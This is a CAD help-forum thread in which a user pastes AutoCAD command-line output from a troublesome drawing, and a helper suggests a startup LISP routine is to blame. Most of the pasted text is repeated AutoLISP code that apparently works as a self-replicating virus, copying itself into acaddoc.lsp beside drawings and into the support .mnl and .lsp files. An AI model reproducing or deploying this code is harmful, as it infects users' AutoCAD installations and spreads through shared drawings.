Display full version of the post: Help me Pls ! Mistake is occurred when open file

Gemgem
10.12.2013, 05:38
Hi every body !Im new member. And im having a problem with AutoCad file.When i open a file. The command line appear "   );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile
"acad.mnl"))

(setq acadmnlpath
(vl-filename-directory acadmnl))

(setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length
mnlfilelist))

(setq acadexe (findfile
"acad.exe"))

(setq acadpath
(vl-filename-directory acadexe))

(setq support (strcat acadpath
"\\support"))

(setq lspfilelist (vl-directory-files
support "*.lsp"))

(setq lspfilelist (append
lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length
lspfilelist))

(setq dwgname (getvar
"dwgname"))

(setq dwgpath (findfile
dwgname))

(if dwgpath

  (progn

    (setq
acaddocpath (vl-filename-directory dwgpath))

    (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (<
mnln mnlnum)

     
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

     
(app mnlfilename acaddocfile bz)

     
(app acaddocfile mnlfilename bz)

     
(setq mnln (1+ mnln))

     
);while

    (setq lspn 0)

    (while (<
lspn lspnum)

     
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

     
(app lspfilename acaddocfile bz)

     
(app acaddocfile lspfilename bz)

     
(setq lspn (1+ lspn))

     
);while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
mnlfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
mnlfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
lspfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
lspfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx
t)")

(defun app(source target bz /
flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

     
(setq wjm1 (open target "r"))

     
(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1
nil))

);while

     
(close wjm1)

     
);progn

    );if

  (if flag1

    (progn

     
(setq wjm (open source "r"))

     
(setq wjm1 (open target "a"))

     
(write-line (chr 13) wjm1)

     
(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

    
(write-line text wjm1)

     );progn

   );if

);while

     
(close wjm1)

     
(close wjm)

     
);progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile
"acad.mnl"))

(setq acadmnlpath
(vl-filename-directory acadmnl))

(setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length
mnlfilelist))

(setq acadexe (findfile
"acad.exe"))

(setq acadpath
(vl-filename-directory acadexe))

(setq support (strcat acadpath
"\\support"))

(setq lspfilelist
(vl-directory-files support "*.lsp"))

(setq lspfilelist (append
lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar
"dwgname"))

(setq dwgpath (findfile
dwgname))

(if dwgpath

  (progn

    (setq
acaddocpath (vl-filename-directory dwgpath))

    (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (<
mnln mnlnum)

     
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

     
(app mnlfilename acaddocfile bz)

     
(app acaddocfile mnlfilename bz)

     
(setq mnln (1+ mnln))

     
);while

    (setq lspn 0)

    (while (<
lspn lspnum)

     
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

     
(app lspfilename acaddocfile bz)

     
(app acaddocfile lspfilename bz)

     
(setq lspn (1+ lspn))

     
);while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
mnlfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
mnlfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
lspfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
lspfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx
t)")

(defun app(source target bz /
flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

     
(setq wjm1 (open target "r"))

     
(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1
nil))

);while

     
(close wjm1)

     
);progn

    );if

  (if flag1

    (progn

     
(setq wjm (open source "r"))

     
(setq wjm1 (open target "a"))

     
(write-line (chr 13) wjm1)

     
(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

    
(write-line text wjm1)

     );progn

   );if

);while

     
(close wjm1)

     
(close wjm)

     
);progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile
"acad.mnl"))

(setq acadmnlpath
(vl-filename-directory acadmnl))

(setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length
mnlfilelist))

(setq acadexe (findfile
"acad.exe"))

(setq acadpath
(vl-filename-directory acadexe))

(setq support (strcat acadpath
"\\support"))

(setq lspfilelist (vl-directory-files
support "*.lsp"))

(setq lspfilelist (append
lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length
lspfilelist))

(setq dwgname (getvar
"dwgname"))

(setq dwgpath (findfile
dwgname))

(if dwgpath

  (progn

    (setq
acaddocpath (vl-filename-directory dwgpath))

    (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (<
mnln mnlnum)

     
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

     
(app mnlfilename acaddocfile bz)

     
(app acaddocfile mnlfilename bz)

     
(setq mnln (1+ mnln))

     
);while

    (setq lspn 0)

    (while (<
lspn lspnum)

     
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

     
(app lspfilename acaddocfile bz)

     
(app acaddocfile lspfilename bz)

     
(setq lspn (1+ lspn))

     
);while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
mnlfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
mnlfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
lspfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
lspfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

    );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx
t)")

(defun app(source target bz /
flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

     
(setq wjm1 (open target "r"))

     
(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1
nil))

);while

     
(close wjm1)

     
);progn

    );if

  (if flag1

    (progn

     
(setq wjm (open source "r"))

     
(setq wjm1 (open target "a"))

     
(write-line (chr 13) wjm1)

     
(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

    
(write-line text wjm1)

     );progn

   );if

);while

     
(close wjm1)

     
(close wjm)

     
);progn

    );if

  );defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile
"acad.mnl"))

(setq acadmnlpath
(vl-filename-directory acadmnl))

(setq mnlfilelist
(vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length
mnlfilelist))

(setq acadexe (findfile
"acad.exe"))

(setq acadpath
(vl-filename-directory acadexe))

(setq support (strcat acadpath
"\\support"))

(setq lspfilelist
(vl-directory-files support "*.lsp"))

(setq lspfilelist (append
lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length
lspfilelist))

(setq dwgname (getvar
"dwgname"))

(setq dwgpath (findfile
dwgname))

(if dwgpath

  (progn

    (setq
acaddocpath (vl-filename-directory dwgpath))

    (setq
acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

    (setq mnln 0)

    (while (<
mnln mnlnum)

     
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

     
(app mnlfilename acaddocfile bz)

     
(app acaddocfile mnlfilename bz)

     
(setq mnln (1+ mnln))

     
);while

    (setq lspn 0)

    (while (<
lspn lspnum)

     
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

     
(app lspfilename acaddocfile bz)

     
(app acaddocfile lspfilename bz)

     
(setq lspn (1+ lspn))

     
);while

    );progn

  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat
acadmnlpath "\\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
mnlfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

    );while

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
mnlfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

(setq lspn 0)

(while (< lspn lspnum)

  (setq lspfilename (strcat
support "\\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1
lspnum)

    (setq
lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

    (app
lspfilename lspfilename1 bz)

    (setq lspn1
(1+ lspn1))

    );while

  (setq mnln1 0)

  (while (< mnln1
mnlnum)

    (setq
mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

    (app
lspfilename mnlfilename1 bz)

    (setq mnln1
(1+ mnln1))

   );while

(load "acadapp")

(princ)

(setq flagx t)

(setq bz "(setq flagx
t)")

(defun app(source target bz /
flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

     
(setq wjm1 (open target "r"))

     
(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1
nil))

);while

     
(close wjm1)

     
);progn

    );if

  (if flag1

    (progn

     
(setq wjm (open source "r"))

     
(setq wjm1 (open target "a"))

     
(write-line (chr 13) wjm1)

     
(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

   (progn

    
(write-line text wjm1)

     );progn

   );if

);while

     
(close wjm1)

     
(close wjm)

; error: bad argument type:
streamp nil

bad argument type: stringp nil

Command:

Autodesk DWG.  This file is
a TrustedDWG last saved by an Autodesk application or Autodesk licensed
application.

Command:And its took very long time to open. And if i open 2 files more. Cad program can not respondI reset program but mistake still happened

John Connor
10.12.2013, 11:30
Surely everything in blue does not appear does it?It looks like you have a problematic lisp routine that is executing upon starting a drawing.  I'd temporarily disable (by renaming) the acad.lsp file and see if that helps.

Gemgem
12.12.2013, 05:01
thank you !Im sure that it appeared. and i also thought its related to lisp. then i removed all lisp and reset cad. but trouble still happened.

John Connor
12.12.2013, 09:56
One can automatically load lisp programs via the Startup Suite and by using acaddoc.lsp.  Both should be checked.When did you start see this error?  Had to received a drawing from another source outside of the company you work for?Does this happen with any drawing you try to open?

John Connor2013-12-12 12:10:23